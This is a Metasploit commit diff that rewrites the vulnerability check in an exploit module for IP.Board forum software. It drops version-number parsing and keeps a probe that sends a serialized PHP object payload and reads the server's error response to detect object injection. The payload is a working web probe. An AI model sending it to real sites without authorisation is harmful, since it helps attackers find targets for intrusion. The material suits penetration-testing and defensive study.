fix check function after speak with egix

unstable
jvazquez-r7 2012-11-15 01:34:17 +01:00
parent 3ba3e906d7
commit 09ec7dea95
1 changed files with 12 additions and 33 deletions

View File

@ -87,14 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check
@peer = "#{rhost}:#{rport}"
res = send_request_raw({'uri'=>"#{base}index.php"})
return Exploit::CheckCode::Unknown if not res
version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
if not version or version.empty?
check_str = Rex::Text.uri_encode('a:1:{i:0;O:1:"x":0:{}}')
res = send_request_cgi(
{
'uri' => "#{base}index.php",
@ -104,25 +97,11 @@ class Metasploit3 < Msf::Exploit::Remote
if res and res.code == 500 or res.body =~ /PHP_Incomplete_Class/
return Exploit::CheckCode::Vulnerable
end
else
version = version.map {|e| e.to_i}
# We only want major version 3
# This version checking is based on OSVDB's info
return Exploit::CheckCode::Safe if version[0] != 3
case version[1]
when 1
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
when 2
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)
when 3
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
end
end
elsif res and res.code == 200
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
end
def on_new_session(client)